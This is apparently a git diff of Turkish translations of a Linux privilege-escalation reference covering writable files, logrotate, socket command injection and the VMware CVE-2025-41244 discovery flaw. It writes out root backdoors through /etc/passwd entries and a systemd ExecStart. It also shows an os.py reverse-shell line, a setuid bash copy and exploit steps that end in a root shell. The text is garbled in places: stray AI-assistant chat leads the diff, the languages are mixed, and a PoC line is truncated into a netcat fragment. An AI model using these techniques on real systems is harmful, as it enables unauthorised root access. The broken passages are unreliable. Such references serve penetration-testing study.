-- README.md içinde bir bölüm ekleyip oraya `hacker` kullanıcısını ekleme komutlarını ve üretilmiş parola bilgisini mi koymamı istiyorsunuz, yoksa sisteminizde gerçek kullanıcı oluşturup parola atamamı mı bekliyorsunuz? (Ben sistem üzerinde doğrudan işlem yapamam — ancak gerekli komutları ve rastgele oluşturulmuş bir parola sağlayabilirim.)
-- Parolanın uzunluğu ve karmaşıklığıyla ilgili tercihiniz var mı? (ör. 16 karakter, özel karakterler dahil)
-
-İçeriği gönderirseniz çeviriyi yapar, isteğinize göre README’ye `hacker` kullanıcısı ekleme talimatını ve üretilmiş parolayı eklerim.
+Sonra `hacker` kullanıcısını ekleyin ve oluşturulan parolayı ekleyin.
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
Örnek: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
-Artık `su` komutunu `hacker:hacker` ile kullanabilirsiniz.
+Artık `su` komutunu `hacker:hacker` ile kullanabilirsiniz
Alternatif olarak, parola olmadan sahte bir kullanıcı eklemek için aşağıdaki satırları kullanabilirsiniz.\
UYARI: bu, makinenin mevcut güvenliğini zayıflatabilir.
@@ -1314,28 +1307,28 @@ UYARI: bu, makinenin mevcut güvenliğini zayıflatabilir.
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
-NOT: BSD platformlarında `/etc/passwd` `/etc/pwd.db` ve `/etc/master.passwd` konumundadır, ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır.
+NOT: BSD platformlarında `/etc/passwd` dosyası `/etc/pwd.db` ve `/etc/master.passwd` konumunda bulunur; ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır.
-Bazı hassas dosyalara **yazıp yazamadığınızı** kontrol etmelisiniz. Örneğin, bazı **servis yapılandırma dosyalarına** yazabiliyor musunuz?
+Bazı hassas dosyalara **yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, bazı **servis yapılandırma dosyalarına** yazabiliyor musunuz?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
-Örneğin, makinede bir **tomcat** sunucusu çalışıyorsa ve **/etc/systemd/ içindeki Tomcat servis yapılandırma dosyasını değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz:
+Örneğin, eğer makine bir **tomcat** sunucusu çalıştırıyorsa ve **Tomcat servis yapılandırma dosyasını /etc/systemd/ içinde değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz:
```
ExecStart=/path/to/backdoor
User=root
Group=root
```
-Backdoor'unuz, tomcat bir dahaki başlatılışında çalıştırılacaktır.
+Your backdoor will be executed the next time that tomcat is started.
### Klasörleri Kontrol Edin
-Aşağıdaki klasörler yedekler veya ilginç bilgiler içerebilir: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Muhtemelen sonuncusunu okuyamayacaksınız ama yine de deneyin)
+Aşağıdaki klasörler yedekler veya ilginç bilgiler içerebilir: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Muhtemelen sonuncusunu okuyamayacaksınız ama deneyin)
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
-### Tuhaf Konum/Owned dosyalar
+### Garip Konum/Owned dosyalar
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
@@ -1352,7 +1345,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat
done
done
```
-### Son birkaç dakikada değiştirilen dosyalar
+### Son birkaç dakika içinde değiştirilmiş dosyalar
```bash
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
```
@@ -1368,7 +1361,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
```bash
find / -type f -iname ".*" -ls 2>/dev/null
```
-### **PATH'teki Script/Binaries**
+### **PATH içindeki Script/Binaries**
```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
@@ -1384,20 +1377,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null
```bash
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
```
-### Şifre içerebilecek bilinen dosyalar
+### Parolalar içerebilen bilinen dosyalar
-[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu inceleyin, şifre içerebilecek **birkaç olası dosyayı** arar.\
-**Kullanabileceğiniz başka bir ilginç araç**: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — Windows, Linux & Mac için yerel bilgisayarda saklanan çok sayıda şifreyi geri almak üzere kullanılan açık kaynaklı bir uygulamadır.
+[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu inceleyin; **parolalar içerebilecek birkaç olası dosyayı** arar.\
+**Kullanabileceğiniz başka ilginç bir araç**: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — Windows, Linux & Mac için yerel bilgisayarda depolanan birçok parolayı geri almakta kullanılan açık kaynaklı bir uygulama.
-### Loglar
+### Günlükler
-Eğer logları okuyabiliyorsanız, içinde **ilginç/gizli bilgiler** bulabilirsiniz. Log ne kadar garipse, o kadar ilginç olacaktır (muhtemelen).\
-Ayrıca, bazı "**bad**" yapılandırılmış (backdoored?) **audit logs**, bu yazıda açıklandığı gibi audit logları içine **şifreleri kaydetme** imkanı verebilir: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
+Eğer günlükleri okuyabiliyorsanız, içinde **ilginç/gizli bilgiler** bulabilirsiniz. Günlük ne kadar garipse, muhtemelen o kadar ilginç olur.\
+Ayrıca, bazı **"bad"** yapılandırılmış (backdoored?) **audit logs** size, bu yazıda açıklandığı gibi, **audit logs** içine **parolaları kaydetme** imkanı verebilir: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
-Logları okumak için [**adm**](interesting-groups-linux-pe/index.html#adm-group) grubu gerçekten faydalı olacaktır.
+Günlükleri okumak için [**adm**](interesting-groups-linux-pe/index.html#adm-group) grubu gerçekten çok yardımcı olacaktır.
### Shell dosyaları
```bash
@@ -1412,14 +1405,14 @@ Logları okumak için [**adm**](interesting-groups-linux-pe/index.html#adm-group
```
### Generic Creds Search/Regex
-Ayrıca adı veya içeriği içinde "**password**" kelimesi geçen dosyaları kontrol etmelisiniz ve loglar içinde IP'leri ve e-postaları ya da hash regex'lerini de kontrol edin.\
-Burada bunların hepsinin nasıl yapılacağını listelemeyeceğim, ama ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri inceleyebilirsiniz.
+Ayrıca dosyanın **adında** veya **içeriğinde** "**password**" kelimesini içeren dosyaları kontrol etmelisiniz, ve loglar içindeki IPs ve emails ile hashes regexps'leri de kontrol edin.\
+Bunların nasıl yapılacağını burada listelemeyeceğim ama ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri inceleyebilirsiniz.
-## Yazılabilir dosyalar
+## Writable files
### Python library hijacking
-Eğer bir python scriptinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabiliyorsanız** veya **python libraries**i değiştirebiliyorsanız, OS kütüphanesini değiştirip backdoorlayabilirsiniz (python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın).
+Eğer bir python scriptinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabilirsiniz** ya da **python kütüphanelerini değiştirebilirsiniz**, OS library'yi değiştirip backdoor itebilirsiniz (eğer python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın).
To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT):
```python
@@ -1427,44 +1420,44 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
```
### Logrotate istismarı
-A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied.
+`logrotate`'teki bir zafiyet, bir log dosyası veya üst dizinlerinde **yazma izni** (write permissions) olan kullanıcıların ayrıcalık yükseltmesi elde etmesine olanak tanır. Çünkü `logrotate`, genellikle **root** olarak çalışan, keyfi dosyaları çalıştıracak şekilde manipüle edilebilir; özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde. İzinleri sadece _/var/log_ içinde değil, log rotasyonunun uygulandığı herhangi bir dizinde de kontrol etmek önemlidir.
> [!TIP]
-> This vulnerability affects `logrotate` version `3.18.0` and older
+> Bu zafiyet `logrotate` sürümü `3.18.0` ve daha eski sürümleri etkiler
-More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
+Zafiyetle ilgili daha ayrıntılı bilgi şu sayfada bulunabilir: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
-You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten).
+Bu zafiyeti [**logrotten**](https://github.com/whotwagner/logrotten) ile istismar edebilirsiniz.
-This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.
+Bu zafiyet [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** ile çok benzerdir; bu yüzden logları değiştirebildiğinizi her gördüğünüzde, bu logları kimin yönettiğini kontrol edin ve logları symlink ile değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinizi kontrol edin.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
**Zafiyet referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
-If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**.
+Her ne sebeple olursa olsun, bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine bir `ifcf-` scripti **yazabiliyor** veya mevcut bir scripti **ayarlayabiliyorsa**, sisteminiz **system is pwned**.
-Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d).
+Network scriptleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tamamen .INI dosyalarına benzerler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından ~sourced~ edilirler.
-In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**.
+Benim durumda, bu network scriptlerindeki `NAME=` ataması doğru şekilde işlenmiyor. Eğer isimde **boşluk** (white/blank space) varsa, sistem boşluktan sonraki kısmı çalıştırmaya çalışıyor. Bu da demektir ki, **ilk boşluktan sonraki her şey root olarak çalıştırılıyor**.
-For example: _/etc/sysconfig/network-scripts/ifcfg-1337_
+Örneğin: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
```
-(_Network ile /bin/id_ arasında boşluk olduğuna dikkat edin_)
+(_Not: Network ile /bin/id arasındaki boşluğu unutmayın_)
-### **init, init.d, systemd, and rc.d**
+### **init, init.d, systemd ve rc.d**
-Dizin `/etc/init.d`, System V init (SysVinit) için komut dosyalarının bulunduğu yerdir; klasik Linux servis yönetim sistemidir. İçinde servisleri `start`, `stop`, `restart` ve bazen `reload` etmek için kullanılan komut dosyaları bulunur. Bunlar doğrudan veya `/etc/rc?.d/` içinde bulunan sembolik linkler aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir.
+Dizin `/etc/init.d`, System V init (SysVinit) için **script'lerin** bulunduğu yerdir; **klasik Linux servis yönetim sistemi** olarak hizmet eder. Servisleri `start`, `stop`, `restart` ve bazen `reload` için scriptler içerir. Bu scriptler doğrudan veya `/etc/rc?.d/` içindeki sembolik linkler aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif yol `/etc/rc.d/init.d`'dir.
-Öte yandan, `/etc/init` Ubuntu tarafından getirilen Upstart ile ilişkilidir ve servis yönetimi görevleri için konfigürasyon dosyalarını kullanır. Upstart'a geçişe rağmen, SysVinit betikleri uyumluluk katmanı nedeniyle Upstart konfigürasyonlarıyla birlikte kullanılmaya devam eder.
+Diğer taraftan, `/etc/init` **Upstart** ile ilişkilidir; Ubuntu tarafından tanıtılan daha yeni bir servis yönetimidir ve servis yönetimi görevleri için konfigürasyon dosyaları kullanır. Upstart'e geçişe rağmen, Upstart içindeki uyumluluk katmanı nedeniyle SysVinit script'leri hâlâ Upstart konfigürasyonlarıyla birlikte kullanılır.
-**systemd**, isteğe bağlı daemon başlatma, otomatik bağlama (automount) yönetimi ve sistem durumunun anlık görüntülerini alma gibi gelişmiş özellikler sunan modern bir initialization ve servis yöneticisidir. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` altında, yönetici değişiklikleri için `/etc/systemd/system/` altında organize eder ve sistem yöneticiliği sürecini kolaylaştırır.
+**systemd**, talep üzerine daemon başlatma, automount yönetimi ve sistem durumunun anlık görüntülerini alma gibi gelişmiş özellikler sunan modern bir init ve servis yöneticisi olarak öne çıkar. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` altında düzenler, böylece sistem yönetimini kolaylaştırır.
-## Diğer Taktikler
+## Diğer İpuçları
### NFS Privilege escalation
@@ -1489,7 +1482,7 @@ cisco-vmanage.md
## Android rooting frameworks: manager-channel abuse
-Android rooting frameworks tipik olarak privileged kernel fonksiyonlarını userspace manager'a açmak için bir syscall'u hook'lar. Zayıf manager kimlik doğrulaması (ör. FD-order'a dayalı signature kontrolleri veya zayıf parola şemaları) yerel bir uygulamanın manager'ı taklit etmesine ve zaten-root'lu cihazlarda root'a yükselmesine izin verebilir. Daha fazla bilgi ve exploitation detayları için bakınız:
+Android rooting frameworks genellikle ayrıcalıklı kernel fonksiyonelliğini userspace manager'a açmak için bir syscall'e hook atar. Zayıf manager doğrulaması (ör. FD-order'a dayalı imza kontrolleri veya zayıf parola şemaları) yerel bir uygulamanın manager'ı taklit etmesine ve zaten root edilmiş cihazlarda root'a escalate etmesine izin verebilir. Daha fazla bilgi ve exploitation detayları için buraya bakın:
{{#ref}}
@@ -1498,9 +1491,9 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
-VMware Tools/Aria Operations içindeki regex tabanlı service discovery, process komut satırlarından bir binary path çıkarabilir ve bu binary'yi -v ile ayrıcalıklı bir bağlamda çalıştırabilir. İzin verici desenler (ör. \S kullanımı) yazılabilir konumlardaki (ör. /tmp/httpd) saldırgan tarafından yerleştirilmiş dinleyicilerle eşleşebilir ve bunun sonucunda root olarak çalıştırma (CWE-426 Untrusted Search Path) gerçekleşebilir.
+Regex-tabanlı service discovery, VMware Tools/Aria Operations içinde process komut satırlarından bir binary yolunu çıkarıp ayrıcalıklı bir bağlamda -v ile çalıştırabilir. İzin veren desenler (ör. \S kullanımı) writable lokasyonlarda (ör. /tmp/httpd) saldırgan tarafından yerleştirilmiş listener'larla eşleşebilir ve root olarak çalıştırılmaya yol açabilir (CWE-426 Untrusted Search Path).
-Daha fazla bilgi ve diğer discovery/monitoring yığınlarına uygulanabilir genelleştirilmiş deseni görmek için:
+Daha fazla bilgi ve diğer discovery/monitoring yığınlarına uygulanabilir genelleştirilmiş desen için buraya bakın:
{{#ref}}
vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
@@ -1530,7 +1523,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
-## References
+## Kaynaklar
- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md
index af6deffbf..1eaf8bea7 100644
--- a/src/linux-hardening/privilege-escalation/socket-command-injection.md
+++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md
@@ -4,7 +4,7 @@
## Socket binding example with Python
-Aşağıdaki örnekte bir **unix socket oluşturulur** (`/tmp/socket_test.s`) ve **alınan** her şey `os.system` tarafından **çalıştırılacaktır**. Bunu gerçek hayatta bulmayacağınızı biliyorum, ama bu örneğin amacı unix sockets kullanan bir kodun nasıl göründüğünü ve girişi en kötü durumda nasıl yöneteceğimizi görmek.
+Aşağıdaki örnekte bir **unix socket oluşturulur** (`/tmp/socket_test.s`) ve **alınan** her şey `os.system` tarafından **çalıştırılacak**. Bunu gerçek dünyada bulmayacağınızı biliyorum, ama bu örneğin amacı unix sockets kullanan bir kodun nasıl göründüğünü ve en kötü durumda girdiyi nasıl yöneteceğimizi göstermektir.
```python:s.py
import socket
import os, os.path
@@ -37,15 +37,15 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
-## Case study: Root-owned UNIX socket signal-triggered escalation (LG webOS)
+## Vaka çalışması: Root-owned UNIX socket signal-triggered escalation (LG webOS)
-Bazı ayrıcalıklı daemon'lar, untrusted input kabul eden ve ayrıcalıklı eylemleri thread-IDs ve signals ile ilişkilendiren root-owned UNIX socket açar. Protokol unprivileged bir client'ın hangi native thread'in hedefleneceğini etkilemesine izin veriyorsa, ayrıcalıklı bir kod yolunu tetikleyip yükseltme (escalation) gerçekleştirebilirsiniz.
+Bazı privileged daemons, untrusted input kabul eden ve privileged actions'ı thread-IDs ve signals ile ilişkilendiren root-owned UNIX socket'ler açığa çıkarır. Eğer protocol, unprivileged client'ın hangi native thread'in hedeflendiğini etkilemesine izin veriyorsa, bir privileged code path tetikleyebilir ve escalate edebilirsiniz.
-Observed pattern:
-- Connect to a root-owned socket (e.g., /tmp/remotelogger).
-- Create a thread and obtain its native thread id (TID).
-- Send the TID (packed) plus padding as a request; receive an acknowledgement.
-- Deliver a specific signal to that TID to trigger the privileged behaviour.
+Gözlemlenen desen:
+- root-owned socket'e bağlanın (ör. /tmp/remotelogger).
+- Bir thread oluşturun ve native thread id'sini (TID) elde edin.
+- TID'yi (packed) ve padding'i istek olarak gönderin; onay alın.
+- O TID'ye belirli bir signal göndererek privileged behaviour tetikleyin.
Minimal PoC taslağı:
```python
@@ -59,14 +59,14 @@ s.sendall(struct.pack('&1 | nc 23231 > /tmp/f
```
Notlar:
-- Bu tür hatalar, ayrıcalıksız istemci durumundan (TIDs) türetilen değerlere güvenilmesi ve bunların ayrıcalıklı signal handlers veya mantığına bağlanmasıyla ortaya çıkar.
-- Socket üzerinde kimlik doğrulaması uygulayarak, mesaj formatlarını doğrulayarak ve ayrıcalıklı işlemleri dışarıdan sağlanan thread identifiers'dan ayırarak sertleştirin.
+- Bu hata sınıfı, yetkisiz istemci durumundan (TIDs) türetilen değerlere güvenilmesinden ve bunların ayrıcalıklı signal handlers veya mantığa bağlanmasından kaynaklanır.
+- Güçlendirmek için socket üzerinde credentials uygulayın, message formatlarını doğrulayın ve ayrıcalıklı işlemleri harici olarak sağlanan thread identifiers'tan ayırın.
## Referanslar
diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
index f4555af28..2308310ca 100644
--- a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
+++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
@@ -1,23 +1,23 @@
-# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
+# VMware Tools servis keşfi LPE (CWE-426) regex tabanlı binary keşif aracılığıyla (CVE-2025-41244)
{{#include ../../banners/hacktricks-training.md}}
-Bu teknik, çalışan süreçlerin komut satırlarını parse eden ve servis sürümlerini çıkartıp aday bir ikiliyi "version" flag'iyle çalıştıran regex-tabanlı service discovery pipeline'larını kötüye kullanır. İzin verici desenler, kontrolsüz ve saldırgan tarafından kontrol edilen yolları (ör. /tmp/httpd) kabul ettiğinde, ayrıcalıklı toplayıcı kontrolsüz bir konumdan rastgele bir ikiliyi çalıştırır ve bu da yerel ayrıcalık yükseltimine yol açar. NVISO bunu VMware Tools/Aria Operations Service Discovery içinde CVE-2025-41244 olarak belgeledi.
+Bu teknik, çalışan süreçlerin komut satırlarını parse eden ve servis sürümlerini çıkardıktan sonra aday bir binary'yi "version" bayrağıyla çalıştıran regex ile çalışan servis keşif boru hatlarını kötüye kullanır. İzin verici desenler, saldırgan kontrollü güvenilmez yolları (ör. /tmp/httpd) kabul ettiğinde, ayrıcalıklı toplayıcı güvenilmez bir konumdan rastgele bir binary'yi çalıştırır ve yerel ayrıcalık yükselmesine yol açar. NVISO bunu VMware Tools/Aria Operations Service Discovery içinde CVE-2025-41244 olarak belgeledi.
-- Etki: Yerel ayrıcalık yükseltme root'a (veya ayrıcalıklı discovery hesabına)
-- Temel neden: Untrusted Search Path (CWE-426) + süreç komut satırlarının izin verici regex eşleştirmesi
-- Etkilenenler: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
+- Impact: Local privilege escalation to root (or to the privileged discovery account)
+- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
+- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
-## How VMware service discovery works (high level)
+## VMware servis keşfi nasıl çalışır (yüksek seviyede)
-- Credential-based (legacy): Aria, yapılandırılmış ayrıcalıklı kimlik bilgilerini kullanarak VMware Tools aracılığıyla guest içinde discovery script'lerini çalıştırır.
-- Credential-less (modern): Discovery mantığı VMware Tools içinde, guest'te zaten ayrıcalıklı olarak çalışır.
+- Credential-based (legacy): Aria, yapılandırılmış ayrıcalıklı kimlik bilgilerini kullanarak VMware Tools aracılığıyla guest içinde discovery scriptlerini çalıştırır.
+- Credential-less (modern): Keşif mantığı VMware Tools içinde, zaten guest'te ayrıcalıklı olarak çalışır.
-Her iki mod da nihayetinde dinleyen soketleri olan süreçleri tarayan, bir regex ile eşleşen komut yolunu çıkaran ve ilk argv token'ını bir version flag ile çalıştıran shell mantığını çalıştırır.
+Her iki mod da eninde sonunda dinleyen soketleri olan işlemleri tarayan shell mantığı çalıştırır, bir regex ile eşleşen komut yolunu çıkarır ve ilk argv token'ını bir versiyon bayrağı ile çalıştırır.
## Root cause and vulnerable pattern (open-vm-tools)
-open-vm-tools içinde, serviceDiscovery plugin script get-versions.sh aday ikilileri geniş regular expression'larla eşler ve herhangi bir trusted-path doğrulaması yapmadan ilk token'ı çalıştırır:
+open-vm-tools içinde, serviceDiscovery plugin script get-versions.sh aday binary'leri geniş regex'lerle eşleştirir ve herhangi bir trusted-path doğrulaması yapmadan ilk token'ı çalıştırır:
```bash
get_version() {
PATTERN=$1
@@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
done
}
```
-Bu, \S (boşluk olmayan) içeren esnek desenlerle çağrılır; bu desenler kullanıcı tarafından yazılabilir konumlardaki sistem dışı yollarla sorunsuzca eşleşir:
+Kullanıcı tarafından yazılabilir konumlardaki sistem dizinleri dışındaki yollarla kolayca eşleşecek \S (boşluk olmayan) içeren gevşek desenlerle çağrılır:
```bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
@@ -38,21 +38,21 @@ get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
```
-- Extraction grep -Eo kullanır ve ilk token'ı alır: ${COMMAND%%[[:space:]]*}
-- Güvenilen sistem yolları için herhangi bir whitelist/allowlist yok; eşleşen ada sahip bulunan herhangi bir listener -v/--version ile çalıştırılır
+- Çıkarma grep -Eo kullanır ve ilk token'ı alır: ${COMMAND%%[[:space:]]*}
+- Güvenilen sistem yolları için herhangi bir whitelist/allowlist yok; eşleşen isimli bulunan herhangi bir listener -v/--version ile çalıştırılır
-Bu, bir untrusted search path execution primitive oluşturur: world-writable dizinlerde bulunan rastgele ikili dosyalar (örn., /tmp/httpd) ayrıcalıklı bir bileşen tarafından çalıştırılır.
+Bu, untrusted search path execution primitive oluşturur: world-writable dizinlerde bulunan keyfi ikili dosyalar (ör. /tmp/httpd) ayrıcalıklı bir bileşen tarafından çalıştırılır.
## Exploitation (both credential-less and credential-based modes)
Preconditions
-- Guest üzerinde listening socket açan bir unprivileged process çalıştırabilirsiniz.
-- Discovery job etkin ve periyodik olarak çalışır (tarihi olarak ~5 dakika).
+- Guest üzerinde dinleyen bir soket açan ayrıcalıksız bir process çalıştırabilirsiniz.
+- Discovery job etkinleştirilmiş ve periyodik olarak çalışır (tarihsel olarak ~5 dakika).
Steps
-1) İzin veren regex'lerden birine uyan bir yola bir binary yerleştirin, örn. /tmp/httpd veya ./nginx
-2) Bunu low-privileged bir kullanıcı olarak çalıştırın ve herhangi bir listening socket açtığından emin olun
-3) Discovery cycle'ı bekleyin; privileged collector otomatik olarak şu komutu çalıştıracaktır: /tmp/httpd -v (veya benzeri), böylece programınız root olarak çalışır
+1) İzin verici regexlerden biriyle eşleşen bir yola bir binary yerleştirin, örn. /tmp/httpd veya ./nginx
+2) Bunu düşük ayrıcalıklı bir kullanıcı olarak çalıştırın ve herhangi bir dinleyen soket açtığından emin olun
+3) Discovery döngüsünü bekleyin; ayrıcalıklı collector otomatik olarak çalıştıracaktır: /tmp/httpd -v (veya benzeri), programınızı root olarak çalıştırır
Minimal demo (using NVISO’s approach)
```bash
@@ -65,16 +65,16 @@ chmod +x /tmp/httpd
/tmp/httpd # run as low-priv user and wait for the cycle
# After the next cycle, expect a root shell or your privileged action
```
-Tipik süreç soy ağacı
-- Kimlik bilgisi tabanlı: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
+Tipik işlem soy ağacı
+- Kimlik bilgisine dayalı: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
- Kimlik bilgisi olmadan: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
-Artefaktlar (kimlik bilgisi tabanlı)
-Kurtarılan SDMP wrapper scriptleri /tmp/VMware-SDMP-Scripts-{UUID}/ altında kötü amaçlı yolun doğrudan çalıştırılmasını gösterebilir:
+Artefaktlar (kimlik bilgisine dayalı)
+Kurtarılan SDMP wrapper scripts /tmp/VMware-SDMP-Scripts-{UUID}/ altında kötü amaçlı yolun doğrudan çalıştırılmasını gösterebilir:
```bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
```
-## Generalizing the technique: regex-driven discovery abuse (portable pattern)
+## Tekniği genelleştirme: regex-driven discovery abuse (portable pattern)
Many agents and monitoring suites implement version/service discovery by:
- Enumerating processes with listening sockets
@@ -110,11 +110,11 @@ Policy/telemetry
## Mitigations
-- Patch: CVE-2025-41244 için Broadcom/VMware güncellemelerini uygulayın (Tools ve Aria Operations SDMP)
+- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP)
